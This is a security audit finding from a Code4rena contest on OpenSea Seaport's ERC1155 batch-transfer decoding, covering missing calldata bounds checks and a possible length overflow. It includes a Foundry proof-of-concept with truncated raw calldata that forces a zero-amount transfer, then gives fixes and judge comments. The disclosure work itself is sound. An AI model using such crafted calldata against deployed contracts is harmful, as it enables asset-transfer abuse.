`_performERC1155BatchTransfers` passes through truncated input as complete

[code423n4]

Lines of code

https://github.com/code-423n4/2022-05-opensea-seaport/blob/9d7ce4d08bf3c3010304a0476a785c70c0e90ae7/contracts/lib/TokenTransferrer.sol#L570-L597

Vulnerability details

Impact

The _performERC1155BatchTransfers function manually ABI decodes ConduitBatch1155Transfer[]. While doing so it does not verify that the expected array length is within the bounds of what is supplied. We believe this is not the intended behaviour. The Solidity ABI decoder would do such a check using calldatasize and correctly revert. Moreover, it is also missing bounds checks on the length, i.e. high values of length can overflow some calculations leading to reading from incorrectcalldata offsets.

(This part is similar to the other issue using this as a griefing attack (in QA report) -- however, here we describe a malicious case.)

struct ConduitBatch1155Transfer {
    address token;
    address from;
    address to;
    uint256[] ids;
    uint256[] amounts;
}

It is possible to submit a truncated array such that some fields in amounts is missing (but the array length must be present).

Seaport tries to be extremely cautious about preventing any transfers of 0 amount. This is extensively checked in Executor.sol#L224, Executor.sol#L269 and Executor.sol#L373.

Proof of Concept

Context:

The test below can be placed inside foundry/conduit/ConduitExecuteBatch1155.t.sol and run via forge test -m "testExecuteBatch1155" -vvvv:

Case 1

The following test below how to transfer 0 amount. This is because data read from out-of-bounds access of calldata. A high level implementation of the above in solidity would have additional checks that prevents such out-of-bounds read, i.e., the same calldata in high level code would revert.

function testExecuteBatch1155() public {
    BatchIntermediate memory bi;
    bi.from = address(1);
    bi.to = address(2);
    bi.idAmounts = [
        IdAmount(10, 10),
        IdAmount(11, 11),
        IdAmount(12, 12),
        IdAmount(13, 13),
        IdAmount(14, 14),
        IdAmount(15, 15),
        IdAmount(16, 16),
        IdAmount(17, 17),
        IdAmount(18, 18),
        IdAmount(19, 19)
    ];

    ConduitBatch1155Transfer[]
    memory batchTransfers = new ConduitBatch1155Transfer[](0);

    batchTransfers = extendConduitTransferArray(
        batchTransfers,
        deployTokenAndCreateConduitBatch1155Transfer(
            bi
        )
    );
    makeRecipientsSafe(batchTransfers);
    mintTokensAndSetTokenApprovalsForConduit(
        batchTransfers,
        address(conduit)
    );
    ConduitBatch1155Transfer[] memory bt = new ConduitBatch1155Transfer[](1);
    bt[0] = batchTransfers[0];
    bt[0].ids = new uint[](1);
    bt[0].ids[0] = 10;
    bt[0].amounts = new uint[](1);
    bt[0].amounts[0] = 0;

    _testExecuteBatch1155(Context(conduit, bt));
}

function _testExecuteBatch1155(Context memory context)
    internal
    resetBatchTokenBalancesBetweenRuns(context.batchTransfers)
{
    // valid calldata of a normal ABI encoded call:
    //bytes memory data = hex"8df25d9200000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000042997ac9251e5bb0a61f4ff790e5b991ea07fd9b0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000a";
    // invalid short calldata without the elements of `amounts`
    bytes memory data = hex"8df25d9200000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000042997ac9251e5bb0a61f4ff790e5b991ea07fd9b0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000001";
    address(context.conduit).call(data);
}

Case 2

There are additional issues around overflowing of the length. See: TokenTransferrer.sol#L530.

                // Get the total number of supplied ids.
                let idsLength := calldataload(
                    add(elementPtr, ConduitBatch1155Transfer_ids_length_offset)
                )

                // Determine size of calldata required for ids and amounts. Note
                // that the size includes both lengths as well as the data.
                let idsAndAmountsSize := add(TwoWords, mul(idsLength, TwoWords))

Here mul(idsLength, TwoWords) can overflow. Note: this issue is similar to a low severity issue titled "Assertions.sol is missing an assertion about bounds for array length", however in that case, such transactions would eventually revert because the length is used in a for loop leading to OOG. However, that is not the case here. It's likely that the overflowing case can succeed by carefully picking the parameters.

Tools Used

Manual review

Recommended Mitigation Steps

1. Use calldatasize to validate the input to prevent any out-of-bounds access.
2. Validate that the length is below a certain upper bounds to prevent overflowing and reading from incorrect calldata locations. For high level solidity code, this check is length < 2**64, which would correctly prevent the overflowing cases.
3. Validate that ids.length == amounts.length.

[0age]

Note that this assumes that untrusted input will be passed to the conduit; for the purposes of this competition we require that Seaport is the sole conduit, and so this is not vulnerable (though it is still an informative finding!)

[HardlyDifficult]

Given this scenario falls out of scope, lowing to a Low severity and grouping with the warden's QA report #203